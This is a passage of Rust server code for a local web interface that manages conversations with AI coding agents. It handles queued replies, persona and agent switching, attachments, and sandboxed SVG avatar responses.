7013 let context = talk::context_usage(&talk, cfg);
7014 let turn_bodies_md = talk
7015 .turns
7016 .iter()
7017 .map(|turn| md::to_nodes(&turn.body, &md::ImageBase::None))
7018 .collect();
7019 let specs = cfg.map_or(&[][..], |c| &c.talk.personas[..]);
7020 let persona_name = persona::find(specs, &talk.persona)
7021 .filter(|p| !p.is_default())
7022 .map(|p| p.name);
7023 let persona_avatar = avatar_url(
7024 &talk.id,
7025 &persona::find(specs, &talk.persona)
7026 .unwrap_or_else(|| persona::find(specs, persona::DEFAULT_ID).expect("default")),
7027 );
7028 let operator_name = cfg.and_then(|c| c.talk.operator_name()).map(str::to_owned);
7029 Self {
7030 turn_bodies_md,
7031 thinking,
7032 context,
7033 operator_name,
7034 persona_name,
7035 persona_avatar,
7036 operator_avatar: format!(
7037 "/avatars/operator.svg?v={}",
7038 persona_icon::fingerprint(Some(persona_icon::operator_svg()))
7039 ),
7040 talk,
7041 }
7042 }
7043}
7044
7045#[derive(Debug, Serialize)]
7050struct TalkDetailView {
7051 #[serde(flatten)]
7052 view: TalkView,
7053 tasks: Vec<TaskView>,
7054 roster: Vec<RosterEntry>,
7057 personas: Vec<PersonaEntry>,
7060}
7061
7062#[derive(Debug, Serialize)]
7064struct PersonaEntry {
7065 id: String,
7066 name: String,
7067 avatar: String,
7069}
7070
7071#[derive(Debug, Serialize)]
7073struct RosterEntry {
7074 id: String,
7075 kind: AgentKind,
7076 runnable: bool,
7078}
7079
7080async fn talks_list(
7085 State(ui): State<Arc<Ui>>,
7086 Query(q): Query<ListQuery>,
7087) -> ApiResult<Json<Vec<TalkView>>> {
7088 blocking(move || {
7089 let mut configs: HashMap<PathBuf, Option<Config>> = HashMap::new();
7090 Ok(Json(
7091 ui.talks
7092 .list()
7093 .into_iter()
7094 .filter(|talk| q.contains(&talk.id))
7095 .map(|talk| {
7096 let thinking = ui.is_thinking(&talk.id);
7097 let cfg = configs
7098 .entry(talk.repo.clone())
7099 .or_insert_with(|| Config::discover(&talk.repo, None).ok().map(|(c, _)| c));
7100 TalkView::with_config(talk, thinking, cfg.as_ref())
7101 })
7102 .collect(),
7103 ))
7104 })
7105 .await
7106}
7107
7108#[derive(Debug, Default, Deserialize)]
7113#[serde(default)]
7114struct NewTalk {
7115 agent: Option<String>,
7116 repo: Option<PathBuf>,
7117 preferred_agent: Option<serde_json::Value>,
7121 persona: Option<serde_json::Value>,
7122 implementers: Option<serde_json::Value>,
7123}
7124
7125async fn talk_post(
7128 State(ui): State<Arc<Ui>>,
7129 body: std::result::Result<Json<NewTalk>, JsonRejection>,
7130) -> ApiResult<impl IntoResponse> {
7131 let body = match body {
7135 Ok(Json(body)) => body,
7136 Err(JsonRejection::MissingJsonContentType(_)) => NewTalk::default(),
7137 Err(e) => return Err(ApiError::bad_request(e.body_text())),
7138 };
7139 let repo = body.repo.clone().unwrap_or_else(|| ui.repo.clone());
7140 let cfg = config_for(&repo).await?;
7141 let view = blocking(move || {
7142 let preferred = talk::Preferred {
7143 agent: body
7144 .preferred_agent
7145 .as_ref()
7146 .and_then(|v| v.as_str())
7147 .map(str::to_owned),
7148 persona: body
7149 .persona
7150 .as_ref()
7151 .and_then(|v| v.as_str())
7152 .map(str::to_owned),
7153 implementers: body.implementers.as_ref().and_then(|v| v.as_i64()),
7154 };
7155 let talk = talk::begin_with(&ui.talks, &cfg, repo, body.agent.as_deref(), &preferred)?;
7156 let thinking = ui.is_thinking(&talk.id);
7157 Ok(TalkView::new(talk, thinking))
7158 })
7159 .await?;
7160 Ok((StatusCode::CREATED, Json(view)))
7161}
7162
7163async fn talk_detail(
7165 State(ui): State<Arc<Ui>>,
7166 Path(id): Path<String>,
7167) -> ApiResult<Json<TalkDetailView>> {
7168 blocking(move || {
7169 let id = resolve_talk(&ui.talks, &id)?;
7170 let talk = ui.talks.get(&id)?;
7171 let thinking = ui.is_thinking(&talk.id);
7172 let tasks = talk::tasks_of(&ui.queue, &talk.id)
7173 .into_iter()
7174 .map(TaskView::from)
7175 .collect();
7176 let cfg = Config::discover(&talk.repo, None).ok().map(|(cfg, _)| cfg);
7177 let roster = cfg
7178 .as_ref()
7179 .map(|cfg| {
7180 cfg.agents
7181 .iter()
7182 .map(|a| RosterEntry {
7183 id: a.id.clone(),
7184 kind: a.kind,
7185 runnable: agent::installed(a),
7186 })
7187 .collect()
7188 })
7189 .unwrap_or_default();
7190 let specs = cfg
7191 .as_ref()
7192 .map(|cfg| cfg.talk.personas.clone())
7193 .unwrap_or_default();
7194 let personas = persona::catalog(&specs)
7195 .into_iter()
7196 .map(|p| PersonaEntry {
7197 avatar: avatar_url(&talk.id, &p),
7198 id: p.id,
7199 name: p.name,
7200 })
7201 .collect();
7202 Ok(Json(TalkDetailView {
7203 view: TalkView::with_config(talk, thinking, cfg.as_ref()),
7204 tasks,
7205 roster,
7206 personas,
7207 }))
7208 })
7209 .await
7210}
7211
7212#[derive(Debug, Default, Deserialize)]
7218#[serde(default, deny_unknown_fields)]
7219struct NewTalkTurn {
7220 reply_to: Option<talk::ReplyTarget>,
7221 text: String,
7222 attachments: Vec<String>,
7223}
7224
7225#[derive(Debug, Deserialize)]
7226#[serde(deny_unknown_fields)]
7227struct EditTalkPending {
7228 #[serde(default)]
7229 message: Option<usize>,
7230 text: String,
7231 expected_text: String,
7232 expected_attachments: Vec<String>,
7233}
7234
7235#[derive(Debug, Deserialize)]
7236#[serde(deny_unknown_fields)]
7237struct ClearTalkPending {
7238 expected_text: String,
7239 expected_attachments: Vec<String>,
7240}
7241
7242async fn talk_say(
7254 State(ui): State<Arc<Ui>>,
7255 Path(id): Path<String>,
7256 body: std::result::Result<Json<NewTalkTurn>, JsonRejection>,
7257) -> ApiResult<(StatusCode, Json<TalkView>)> {
7258 let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
7259 if body.text.trim().is_empty() && body.attachments.is_empty() {
7260 return Err(ApiError::bad_request("say something"));
7261 }
7262
7263 let id = {
7264 let ui = Arc::clone(&ui);
7265 let asked = id.clone();
7266 blocking(move || resolve_talk(&ui.talks, &asked)).await?
7267 };
7268 {
7272 let ui = Arc::clone(&ui);
7273 let id = id.clone();
7274 blocking(move || {
7275 let talk = ui.talks.get(&id)?;
7276 if !talk.status.open() {
7277 return Err(ApiError::conflict(format!(
7278 "talk {} is {} and takes no more turns",
7279 talk.short(),
7280 talk.status.as_str()
7281 )));
7282 }
7283 Ok(())
7284 })
7285 .await?;
7286 }
7287
7288 let attachments = {
7293 let ui = Arc::clone(&ui);
7294 let id = id.clone();
7295 let ids = body.attachments.clone();
7296 blocking(move || {
7297 ids.into_iter()
7298 .map(|att_id| {
7299 ui.talks.attachment_meta(&id, &att_id)?.ok_or_else(|| {
7300 ApiError::bad_request(format!("unknown attachment `{att_id}`"))
7301 })
7302 })
7303 .collect::<ApiResult<Vec<talk::Attachment>>>()
7304 })
7305 .await?
7306 };
7307
7308 let start = {
7313 let ui = Arc::clone(&ui);
7314 let id = id.clone();
7315 blocking(move || ui.begin_talk_turn_unless_pending(&id)).await?
7316 };
7317 let turn_guard = match start {
7318 TalkTurnStart::Claimed(turn_guard) => turn_guard,
7319 TalkTurnStart::Pending => {
7320 return Err(ApiError::conflict(
7321 "a queued draft is waiting; resume it, edit it, or clear it before sending another message",
7322 ));
7323 }
7324 TalkTurnStart::Foreign => {
7325 return Err(ApiError::conflict(
7326 "a turn is already running in another process; try again when it has finished",
7327 ));
7328 }
7329 TalkTurnStart::Busy => {
7330 let (tx, rx) = tokio::sync::oneshot::channel();
7346 tokio::spawn({
7347 let ui = Arc::clone(&ui);
7348 let id = id.clone();
7349 let said = body.text.clone();
7350 let reply_to = body.reply_to.clone();
7351 async move {
7352 let written = blocking({
7353 let ui = Arc::clone(&ui);
7354 let id = id.clone();
7355 move || {
7356 let mut talk = ui.talks.get(&id)?;
7357 #[cfg(test)]
7362 if let Some(gate) = ui
7363 .busy_queue_gate
7364 .lock()
7365 .unwrap_or_else(PoisonError::into_inner)
7366 .take()
7367 {
7368 let _ = gate.reached.send(());
7369 let _ = gate.release.recv();
7370 }
7371 if let Err(error) = talk::queue_reply(
7372 &mut talk,
7373 &ui.talks,
7374 &said,
7375 attachments,
7376 reply_to,
7377 ) {
7378 if let Ok(fresh) = ui.talks.get(&id) {
7379 if !fresh.status.open() {
7380 return Err(ApiError::conflict(format!(
7381 "talk {} is {} and takes no more turns",
7382 fresh.short(),
7383 fresh.status.as_str()
7384 )));
7385 }
7386 }
7387 return Err(
7388 if error.to_string().contains("invalid reply target") {
7389 ApiError::bad_request("invalid reply target")
7390 } else {
7391 ApiError::from(error)
7392 },
7393 );
7394 }
7395 let claim = match ui.begin_queued_talk_turn(&id)? {
7406 Some(turn_guard) => {
7407 let (cfg, _) = Config::discover(&talk.repo, None)?;
7408 Some((talk.clone(), cfg, turn_guard))
7409 }
7410 None => None,
7411 };
7412 let thinking = ui.is_thinking(&id);
7413 Ok((TalkView::new(talk, thinking), claim))
7414 }
7415 })
7416 .await;
7417 let (view, reclaimed) = match written {
7418 Ok(pair) => pair,
7419 Err(e) => {
7420 let _ = tx.send(Err(e));
7425 return;
7426 }
7427 };
7428 let _ = tx.send(Ok(view));
7431 if let Some((talk, cfg, turn_guard)) = reclaimed {
7432 let talks = ui.talks.clone();
7433 drain_loop(talk, talks, cfg, id, turn_guard).await;
7434 }
7435 }
7436 });
7437 let view = rx
7438 .await
7439 .map_err(|_| ApiError::internal("the talk turn task ended without answering"))??;
7440 return Ok((StatusCode::ACCEPTED, Json(view)));
7441 }
7442 };
7443
7444 let (talk, cfg) = {
7445 let ui = Arc::clone(&ui);
7446 let id = id.clone();
7447 blocking(move || {
7448 let talk = ui.talks.get(&id)?;
7449 let (cfg, _) = Config::discover(&talk.repo, None)?;
7450 Ok((talk, cfg))
7451 })
7452 .await?
7453 };
7454
7455 let talks = ui.talks.clone();
7456 let (tx, rx) = tokio::sync::oneshot::channel();
7471 tokio::spawn({
7472 let ui = Arc::clone(&ui);
7473 let talks = talks.clone();
7474 let id = id.clone();
7475 let said = body.text.clone();
7476 let reply_to = body.reply_to.clone();
7477 let mut talk = talk.clone();
7478 async move {
7479 let recorded = blocking({
7480 let talks = talks.clone();
7481 move || {
7482 if let Err(error) =
7483 talk::record_reply(&mut talk, &talks, &said, attachments, reply_to)
7484 {
7485 if let Ok(fresh) = talks.get(&talk.id) {
7486 if !fresh.status.open() {
7487 return Err(ApiError::conflict(format!(
7488 "talk {} is {} and takes no more turns",
7489 fresh.short(),
7490 fresh.status.as_str()
7491 )));
7492 }
7493 }
7494 return Err(if error.to_string().contains("invalid reply target") {
7495 ApiError::bad_request("invalid reply target")
7496 } else {
7497 ApiError::from(error)
7498 });
7499 }
7500 Ok((said.trim().to_owned(), talk))
7506 }
7507 })
7508 .await;
7509 let (text, mut talk) = match recorded {
7510 Ok(pair) => pair,
7511 Err(e) => {
7512 let _ = tx.send(Err(e));
7516 return;
7517 }
7518 };
7519 let queued = talk.clone();
7520 let thinking = ui.is_thinking(&id);
7521 let _ = tx.send(Ok((queued, thinking)));
7524
7525 if let Err(e) = turn_guard.respond(&mut talk, &talks, &cfg, &text).await {
7526 tracing::warn!("talk {id} turn failed: {e:#}");
7530 }
7531 drain_loop(talk, talks, cfg, id, turn_guard).await;
7534 }
7535 });
7536
7537 let (queued, thinking) = rx
7538 .await
7539 .map_err(|_| ApiError::internal("the talk turn task ended without answering"))??;
7540
7541 Ok((StatusCode::ACCEPTED, Json(TalkView::new(queued, thinking))))
7543}
7544
7545async fn talk_pending_resume(
7549 State(ui): State<Arc<Ui>>,
7550 Path(id): Path<String>,
7551) -> ApiResult<(StatusCode, Json<TalkView>)> {
7552 let id = {
7553 let ui = Arc::clone(&ui);
7554 let asked = id.clone();
7555 blocking(move || resolve_talk(&ui.talks, &asked)).await?
7556 };
7557 let Some(turn_guard) = ui.begin_talk_turn(&id)? else {
7558 return Err(ApiError::conflict(
7559 "a talk turn is already running; the queued draft will be handled by it",
7560 ));
7561 };
7562 let (talk, cfg) = {
7563 let ui = Arc::clone(&ui);
7564 let id = id.clone();
7565 blocking(move || {
7566 let talk = ui.talks.get(&id)?;
7567 if !talk.status.open() {
7568 return Err(ApiError::conflict(format!(
7569 "talk {} is {} and takes no more turns",
7570 talk.short(),
7571 talk.status.as_str()
7572 )));
7573 }
7574 if talk.pending.is_empty() && talk.pending_attachments.is_empty() {
7575 return Err(ApiError::conflict("there is no queued draft to resume"));
7576 }
7577 let (cfg, _) = Config::discover(&talk.repo, None)?;
7578 Ok((talk, cfg))
7579 })
7580 .await?
7581 };
7582 let view = TalkView::new(talk.clone(), true);
7583 let talks = ui.talks.clone();
7584 tokio::spawn(drain_loop(talk, talks, cfg, id, turn_guard));
7585 Ok((StatusCode::ACCEPTED, Json(view)))
7586}
7587
7588async fn drain_loop(talk: Talk, talks: Talks, cfg: Config, id: String, turn: TalkTurnGuard) {
7604 drain_loop_started(talk, talks, cfg, id, turn, None).await;
7605}
7606
7607async fn settle_settings_turn(
7611 talk: Talk,
7612 talks: Talks,
7613 cfg: Config,
7614 id: String,
7615 turn: TalkTurnGuard,
7616 observed: u64,
7617) -> bool {
7618 if talk.pending.is_empty() && talk.pending_attachments.is_empty() {
7619 let turns = Arc::clone(&turn.turns);
7620 let mut live = turns.lock().unwrap_or_else(PoisonError::into_inner);
7621 if live.queued.get(&id).copied().unwrap_or(0) == observed {
7622 turn.release(&mut live);
7624 return false;
7625 }
7626 }
7627 let (started, settled) = tokio::sync::oneshot::channel();
7628 tokio::spawn(drain_loop_started(
7629 talk,
7630 talks,
7631 cfg,
7632 id,
7633 turn,
7634 Some(started),
7635 ));
7636 settled.await.unwrap_or(false)
7637}
7638
7639async fn drain_loop_started(
7640 mut talk: Talk,
7641 talks: Talks,
7642 cfg: Config,
7643 id: String,
7644 turn: TalkTurnGuard,
7645 mut started: Option<tokio::sync::oneshot::Sender<bool>>,
7646) {
7647 let live_set = Arc::clone(&turn.turns);
7648 let mut turn = Some(turn);
7656 loop {
7657 if !turn.as_ref().is_some_and(TalkTurnGuard::owns) {
7658 tracing::warn!("talk {id} lost its turn lease; not draining further");
7661 let mut live = live_set.lock().unwrap_or_else(PoisonError::into_inner);
7662 if let Some(turn) = turn.take() {
7663 turn.release(&mut live);
7664 }
7665 break;
7666 }
7667 {
7668 let mut live = live_set.lock().unwrap_or_else(PoisonError::into_inner);
7671 if live.parking {
7672 if let Some(turn) = turn.take() {
7673 turn.release(&mut live);
7674 }
7675 break;
7676 }
7677 }
7678 let observed = live_set
7682 .lock()
7683 .unwrap_or_else(PoisonError::into_inner)
7684 .queued
7685 .get(&id)
7686 .copied()
7687 .unwrap_or(0);
7688 let drained = blocking({
7689 let talks = talks.clone();
7690 let live_set = Arc::clone(&live_set);
7691 move || {
7692 let live = live_set.lock().unwrap_or_else(PoisonError::into_inner);
7697 let result = if live.parking {
7698 Ok(None)
7699 } else {
7700 talk::drain(&mut talk, &talks)
7701 };
7702 drop(live);
7703 Ok((talk, result))
7704 }
7705 })
7706 .await;
7707 let (next_talk, result) = match drained {
7708 Ok(drained) => drained,
7709 Err(e) => {
7710 tracing::warn!(
7711 status = %e.status,
7712 message = %e.message,
7713 "talk {id} could not start queued-text drain"
7714 );
7715 let mut live = live_set.lock().unwrap_or_else(PoisonError::into_inner);
7716 turn.take()
7717 .expect("held for the whole loop until released here")
7718 .release(&mut live);
7719 break;
7720 }
7721 };
7722 talk = next_talk;
7723 let drained = match result {
7724 Ok(Some(drained)) => drained,
7725 Ok(None) => {
7726 let mut live = live_set.lock().unwrap_or_else(PoisonError::into_inner);
7727 if live.queued.get(&id).copied().unwrap_or(0) != observed {
7728 continue;
7729 }
7730 turn.take()
7731 .expect("held for the whole loop until released here")
7732 .release(&mut live);
7733 break;
7734 }
7735 Err(e) => {
7736 tracing::warn!("talk {id} could not drain queued text: {e:#}");
7737 let mut live = live_set.lock().unwrap_or_else(PoisonError::into_inner);
7738 turn.take()
7739 .expect("held for the whole loop until released here")
7740 .release(&mut live);
7741 break;
7742 }
7743 };
7744 if let Some(started) = started.take() {
7745 let _ = started.send(true);
7746 }
7747 let responded = match turn.as_ref() {
7748 Some(turn) => turn.respond(&mut talk, &talks, &cfg, &drained).await,
7749 None => Err(anyhow::anyhow!("the turn guard was released")),
7750 };
7751 if let Err(e) = responded {
7752 tracing::warn!("talk {id} turn failed: {e:#}");
7753 }
7754 }
7755 drop(turn);
7756 if let Some(started) = started {
7757 let _ = started.send(false);
7758 }
7759}
7760
7761async fn talk_pending_clear(
7763 State(ui): State<Arc<Ui>>,
7764 Path(id): Path<String>,
7765 body: std::result::Result<Json<ClearTalkPending>, JsonRejection>,
7766) -> ApiResult<Json<TalkView>> {
7767 let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
7768 blocking(move || {
7769 let id = resolve_talk(&ui.talks, &id)?;
7770 let mut talk = ui.talks.get(&id)?;
7771 if !talk.status.open() {
7772 return Err(ApiError::conflict(format!(
7773 "talk {} is {} and takes no more turns",
7774 talk.short(),
7775 talk.status.as_str()
7776 )));
7777 }
7778 if !talk::clear_pending_if_matches(
7779 &mut talk,
7780 &ui.talks,
7781 &body.expected_text,
7782 &body.expected_attachments,
7783 )? {
7784 return Err(ApiError::conflict(
7785 "queued message changed; reload it before clearing",
7786 ));
7787 }
7788 let thinking = ui.is_thinking(&talk.id);
7789 Ok(Json(TalkView::new(talk, thinking)))
7790 })
7791 .await
7792}
7793
7794async fn talk_pending_edit(
7798 State(ui): State<Arc<Ui>>,
7799 Path(id): Path<String>,
7800 body: std::result::Result<Json<EditTalkPending>, JsonRejection>,
7801) -> ApiResult<Json<TalkView>> {
7802 let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
7803 let (view, reclaimed) = blocking({
7804 let ui = Arc::clone(&ui);
7805 move || {
7806 let id = resolve_talk(&ui.talks, &id)?;
7807 let mut talk = ui.talks.get(&id)?;
7808 if !talk.status.open() {
7809 return Err(ApiError::conflict(format!(
7810 "talk {} is {} and takes no more turns",
7811 talk.short(),
7812 talk.status.as_str()
7813 )));
7814 }
7815 if !talk::edit_pending_message(
7816 &mut talk,
7817 &ui.talks,
7818 &body.text,
7819 &body.expected_text,
7820 &body.expected_attachments,
7821 body.message,
7822 )? {
7823 return Err(ApiError::conflict(
7824 "queued message changed; reload it before editing",
7825 ));
7826 }
7827 let claim = match ui.begin_queued_talk_turn(&id)? {
7828 Some(turn_guard) => {
7829 let (cfg, _) = Config::discover(&talk.repo, None)?;
7830 Some((talk.clone(), cfg, id.clone(), turn_guard))
7831 }
7832 None => None,
7833 };
7834 let thinking = ui.is_thinking(&id);
7835 Ok((TalkView::new(talk, thinking), claim))
7836 }
7837 })
7838 .await?;
7839 if let Some((talk, cfg, id, turn_guard)) = reclaimed {
7840 let talks = ui.talks.clone();
7841 tokio::spawn(drain_loop(talk, talks, cfg, id, turn_guard));
7842 }
7843 Ok(Json(view))
7844}
7845
7846fn refuse_if_closed(talk: &Talk) -> ApiResult<()> {
7848 if talk.status.open() {
7849 return Ok(());
7850 }
7851 Err(ApiError::conflict(format!(
7852 "talk {} is {} and takes no more turns",
7853 talk.short(),
7854 talk.status.as_str()
7855 )))
7856}
7857
7858#[derive(Debug, Deserialize)]
7860struct TalkAgent {
7861 agent: String,
7862}
7863
7864async fn talk_agent(
7869 State(ui): State<Arc<Ui>>,
7870 Path(id): Path<String>,
7871 Json(body): Json<TalkAgent>,
7872) -> ApiResult<Json<TalkView>> {
7873 let id = {
7874 let ui = Arc::clone(&ui);
7875 blocking(move || resolve_talk(&ui.talks, &id)).await?
7876 };
7877 let repo = {
7878 let ui = Arc::clone(&ui);
7879 let id = id.clone();
7880 blocking(move || Ok(ui.talks.get(&id)?.repo)).await?
7881 };
7882 let cfg = config_for(&repo).await?;
7883 {
7885 let ui = Arc::clone(&ui);
7886 let id = id.clone();
7887 let cfg = cfg.clone();
7888 let wanted = body.agent.clone();
7889 blocking(move || {
7890 agent::pick(&cfg.agents, Some(&wanted), &agent::installed)
7891 .map_err(ApiError::bad_request_from)?;
7892 refuse_if_closed(&ui.talks.get(&id)?)
7893 })
7894 .await?;
7895 }
7896 let Some(turn_guard) = ui.begin_talk_turn(&id)? else {
7897 return Err(ApiError::conflict(
7898 "a talk turn is running; change the agent once it has answered",
7899 ));
7900 };
7901 let switched = {
7902 let ui = Arc::clone(&ui);
7903 let id = id.clone();
7904 let cfg = cfg.clone();
7905 blocking(move || {
7906 let spec = agent::pick(&cfg.agents, Some(&body.agent), &agent::installed)
7907 .map_err(ApiError::bad_request_from)?;
7908 let mut talk = ui.talks.get(&id)?;
7909 if !talk.status.open() {
7910 return Err(ApiError::conflict(format!(
7911 "talk {} is {} and takes no more turns",
7912 talk.short(),
7913 talk.status.as_str()
7914 )));
7915 }
7916 talk::switch_agent(&mut talk, &ui.talks, &spec)?;
7917 Ok(talk)
7918 })
7919 .await
7920 };
7921 let observed = ui.queued_generation(&id);
7926 let fresh = {
7927 let ui = Arc::clone(&ui);
7928 let id = id.clone();
7929 blocking(move || Ok(ui.talks.get(&id)?)).await
7930 };
7931 let draining = match fresh {
7932 Ok(talk) => {
7933 settle_settings_turn(talk, ui.talks.clone(), cfg, id, turn_guard, observed).await
7934 }
7935 Err(_) => false,
7936 };
7937 let talk = switched?;
7938 Ok(Json(TalkView::new(talk, draining)))
7939}
7940
7941#[derive(Debug, Deserialize)]
7943struct TalkPersona {
7944 persona: String,
7945}
7946
7947async fn talk_persona(
7951 State(ui): State<Arc<Ui>>,
7952 Path(id): Path<String>,
7953 Json(body): Json<TalkPersona>,
7954) -> ApiResult<Json<TalkView>> {
7955 let id = {
7956 let ui = Arc::clone(&ui);
7957 blocking(move || resolve_talk(&ui.talks, &id)).await?
7958 };
7959 let repo = {
7960 let ui = Arc::clone(&ui);
7961 let id = id.clone();
7962 blocking(move || Ok(ui.talks.get(&id)?.repo)).await?
7963 };
7964 let cfg = config_for(&repo).await?;
7965 {
7967 let ui = Arc::clone(&ui);
7968 let id = id.clone();
7969 let cfg = cfg.clone();
7970 let wanted = body.persona.clone();
7971 blocking(move || {
7972 if persona::find(&cfg.talk.personas, &wanted).is_none() {
7973 return Err(ApiError::bad_request(format!("unknown persona `{wanted}`")));
7974 }
7975 refuse_if_closed(&ui.talks.get(&id)?)
7976 })
7977 .await?;
7978 }
7979 let Some(turn_guard) = ui.begin_talk_turn(&id)? else {
7980 return Err(ApiError::conflict(
7981 "a talk turn is running; change the persona once it has answered",
7982 ));
7983 };
7984 let switched = {
7985 let ui = Arc::clone(&ui);
7986 let id = id.clone();
7987 let cfg = cfg.clone();
7988 blocking(move || {
7989 let Some(chosen) = persona::find(&cfg.talk.personas, &body.persona) else {
7990 return Err(ApiError::bad_request(format!(
7991 "unknown persona `{}`",
7992 body.persona
7993 )));
7994 };
7995 let mut talk = ui.talks.get(&id)?;
7996 if !talk.status.open() {
7997 return Err(ApiError::conflict(format!(
7998 "talk {} is {} and takes no more turns",
7999 talk.short(),
8000 talk.status.as_str()
8001 )));
8002 }
8003 talk::switch_persona(&mut talk, &ui.talks, &chosen.id)?;
8004 Ok(talk)
8005 })
8006 .await
8007 };
8008 let observed = ui.queued_generation(&id);
8010 let fresh = {
8011 let ui = Arc::clone(&ui);
8012 let id = id.clone();
8013 blocking(move || Ok(ui.talks.get(&id)?)).await
8014 };
8015 let draining = match fresh {
8016 Ok(talk) => {
8017 settle_settings_turn(talk, ui.talks.clone(), cfg, id, turn_guard, observed).await
8018 }
8019 Err(_) => false,
8020 };
8021 let talk = switched?;
8022 Ok(Json(TalkView::new(talk, draining)))
8023}
8024
8025#[derive(Debug, Deserialize)]
8027struct TalkImplementers {
8028 implementers: u8,
8029}
8030
8031async fn talk_implementers(
8035 State(ui): State<Arc<Ui>>,
8036 Path(id): Path<String>,
8037 Json(body): Json<TalkImplementers>,
8038) -> ApiResult<Json<TalkView>> {
8039 let id = {
8040 let ui = Arc::clone(&ui);
8041 blocking(move || resolve_talk(&ui.talks, &id)).await?
8042 };
8043 let repo = {
8044 let ui = Arc::clone(&ui);
8045 let id = id.clone();
8046 blocking(move || Ok(ui.talks.get(&id)?.repo)).await?
8047 };
8048 let cfg = config_for(&repo).await?;
8049 {
8054 let ui = Arc::clone(&ui);
8055 let id = id.clone();
8056 let cfg = cfg.clone();
8057 let wanted = body.implementers;
8058 blocking(move || {
8059 talk::check_implementers(wanted, &cfg).map_err(ApiError::bad_request)?;
8060 refuse_if_closed(&ui.talks.get(&id)?)
8061 })
8062 .await?;
8063 }
8064 let Some(turn_guard) = ui.begin_talk_turn(&id)? else {
8065 return Err(ApiError::conflict(
8066 "a talk turn is running; change the implementers once it has answered",
8067 ));
8068 };
8069 let switched = {
8070 let ui = Arc::clone(&ui);
8071 let id = id.clone();
8072 let cfg = cfg.clone();
8073 blocking(move || {
8074 let chosen =
8075 talk::check_implementers(body.implementers, &cfg).map_err(ApiError::bad_request)?;
8076 let mut talk = ui.talks.get(&id)?;
8077 if !talk.status.open() {
8078 return Err(ApiError::conflict(format!(
8079 "talk {} is {} and takes no more turns",
8080 talk.short(),
8081 talk.status.as_str()
8082 )));
8083 }
8084 talk::switch_implementers(&mut talk, &ui.talks, chosen)?;
8085 Ok(talk)
8086 })
8087 .await
8088 };
8089 let observed = ui.queued_generation(&id);
8091 let fresh = {
8092 let ui = Arc::clone(&ui);
8093 let id = id.clone();
8094 blocking(move || Ok(ui.talks.get(&id)?)).await
8095 };
8096 let draining = match fresh {
8097 Ok(talk) => {
8098 settle_settings_turn(talk, ui.talks.clone(), cfg, id, turn_guard, observed).await
8099 }
8100 Err(_) => false,
8101 };
8102 let talk = switched?;
8103 Ok(Json(TalkView::new(talk, draining)))
8104}
8105
8106async fn talk_close(
8108 State(ui): State<Arc<Ui>>,
8109 Path(id): Path<String>,
8110) -> ApiResult<Json<TalkView>> {
8111 blocking(move || {
8112 let id = resolve_talk(&ui.talks, &id)?;
8113 let mut talk = ui.talks.get(&id)?;
8114 talk::close(&mut talk, &ui.talks)?;
8115 let thinking = ui.is_thinking(&talk.id);
8116 Ok(Json(TalkView::new(talk, thinking)))
8117 })
8118 .await
8119}
8120
8121async fn talk_reopen(
8123 State(ui): State<Arc<Ui>>,
8124 Path(id): Path<String>,
8125) -> ApiResult<Json<TalkView>> {
8126 blocking(move || {
8127 let id = resolve_talk(&ui.talks, &id)?;
8128 let mut talk = ui.talks.get(&id)?;
8129 talk::reopen(&mut talk, &ui.talks)?;
8130 let thinking = ui.is_thinking(&talk.id);
8131 Ok(Json(TalkView::new(talk, thinking)))
8132 })
8133 .await
8134}
8135
8136async fn talk_delete(State(ui): State<Arc<Ui>>, Path(id): Path<String>) -> ApiResult<StatusCode> {
8146 blocking(move || {
8147 let id = resolve_talk(&ui.talks, &id)?;
8148 ui.talks.remove(&id)?;
8149 Ok(StatusCode::NO_CONTENT)
8150 })
8151 .await
8152}
8153
8154fn resolve_talk(store: &Talks, id: &str) -> ApiResult<String> {
8156 pick(store.list().into_iter().map(|t| t.id).collect(), id, "talk")
8157}
8158
8159async fn talk_attachment_post(
8162 State(ui): State<Arc<Ui>>,
8163 Path(id): Path<String>,
8164 headers: HeaderMap,
8165 body: Bytes,
8166) -> ApiResult<(StatusCode, Json<talk::Attachment>)> {
8167 let mime = validate_attachment(&headers, &body)?;
8168 let name = filename_header(&headers);
8169 let data = body.to_vec();
8170 blocking(move || {
8171 let id = resolve_talk(&ui.talks, &id)?;
8172 let att = ui.talks.put_attachment(&id, mime, &name, &data)?;
8173 Ok((StatusCode::CREATED, Json(att)))
8174 })
8175 .await
8176}
8177
8178async fn talk_attachment_get(
8181 State(ui): State<Arc<Ui>>,
8182 Path((id, att)): Path<(String, String)>,
8183) -> ApiResult<Response> {
8184 blocking(move || {
8185 let id = resolve_talk(&ui.talks, &id)?;
8186 let Some((meta, data)) = ui.talks.read_attachment(&id, &att)? else {
8187 return Err(ApiError::not_found(format!(
8188 "talk {id} has no attachment `{att}`"
8189 )));
8190 };
8191 Ok(attachment_response(&meta.mime, data))
8192 })
8193 .await
8194}
8195
8196fn avatar_url(talk_id: &str, p: &persona::Persona) -> String {
8199 let mut id = String::new();
8200 for b in p.id.bytes() {
8201 if b.is_ascii_alphanumeric() || b"-_.".contains(&b) {
8202 id.push(char::from(b));
8203 } else {
8204 id.push_str(&format!("%{b:02X}"));
8205 }
8206 }
8207 format!(
8208 "/api/talks/{talk_id}/avatar?persona={id}&v={}",
8209 persona_icon::fingerprint(p.icon.as_deref())
8210 )
8211}
8212
8213#[derive(Debug, Default, Deserialize)]
8214struct AvatarQuery {
8215 persona: Option<String>,
8216 builtin: Option<String>,
8218}
8219
8220const AVATAR_CSP: &str = "default-src 'none'; style-src 'unsafe-inline'; sandbox";
8222
8223fn builtin_avatar(id: &str) -> Response {
8224 svg_avatar(persona_icon::builtin_svg(id))
8225}
8226
8227async fn operator_avatar() -> Response {
8228 svg_avatar(persona_icon::operator_svg())
8229}
8230
8231fn svg_avatar(svg: &'static str) -> Response {
8232 (
8233 [
8234 (header::CONTENT_TYPE, "image/svg+xml"),
8235 (header::X_CONTENT_TYPE_OPTIONS, "nosniff"),
8236 (header::CONTENT_SECURITY_POLICY, AVATAR_CSP),
8237 (header::CACHE_CONTROL, "no-cache"),
8238 ],
8239 svg,
8240 )
8241 .into_response()
8242}
8243
8244async fn talk_avatar(
8249 State(ui): State<Arc<Ui>>,
8250 Path(id): Path<String>,
8251 Query(q): Query<AvatarQuery>,
8252) -> ApiResult<Response> {
8253 blocking(move || {
8254 let id = resolve_talk(&ui.talks, &id)?;
8255 let talk = ui.talks.get(&id)?;
8256 let wanted = q
8257 .persona
